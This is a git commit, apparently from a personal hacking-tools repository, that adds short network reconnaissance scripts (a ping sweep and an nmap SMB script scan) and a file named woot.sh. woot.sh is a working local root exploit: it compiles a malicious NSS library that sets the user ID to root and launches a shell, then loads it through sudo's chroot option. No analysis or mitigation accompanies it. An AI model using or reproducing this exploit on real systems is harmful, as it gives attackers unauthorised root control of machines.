added some stuff
This commit is contained in:
@@ -1 +1,2 @@
|
||||
sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
|
||||
sudo apt update --fix-missing
|
||||
|
||||
1
nmap-smb.sh
Normal file
1
nmap-smb.sh
Normal file
@@ -0,0 +1 @@
|
||||
nmap --script smb* -p $(nmap $1 -p- | grep open | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/.$//') $1
|
||||
6
pingsweep.sh
Executable file
6
pingsweep.sh
Executable file
@@ -0,0 +1,6 @@
|
||||
for i in $(seq 0 255);
|
||||
do
|
||||
ping -W 0.016 -q -c 1 $1$i 2>/dev/null| grep -i "stat" -A 1 | grep -v "0 " -B 1
|
||||
done
|
||||
|
||||
|
||||
31
woot.sh
Normal file
31
woot.sh
Normal file
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env bash
|
||||
STAGE=$(mktemp -d /tmp/XXXXXX)
|
||||
cd ${STAGE?} || exit 1
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
CMD="/bin/bash"
|
||||
else
|
||||
CMD="$@"
|
||||
fi
|
||||
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
|
||||
|
||||
cat >w.c <<EOF
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__attribute__((constructor)) void woot(void) {
|
||||
setreuid(0,0);
|
||||
setregid(0,0);
|
||||
chdir("/");
|
||||
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
|
||||
}
|
||||
EOF
|
||||
|
||||
mkdir -p xd/etc libnss_
|
||||
echo "passwd: /w" >xd/etc/nsswitch.conf
|
||||
cp /etc/group xd/etc/
|
||||
|
||||
gcc -shared -fPIC -Wl,-init,w -o libnss_/w.so.2 w.c
|
||||
|
||||
sudo -R xd /bin/true
|
||||
rm -rf ${STAGE?}
|
||||
Reference in New Issue
Block a user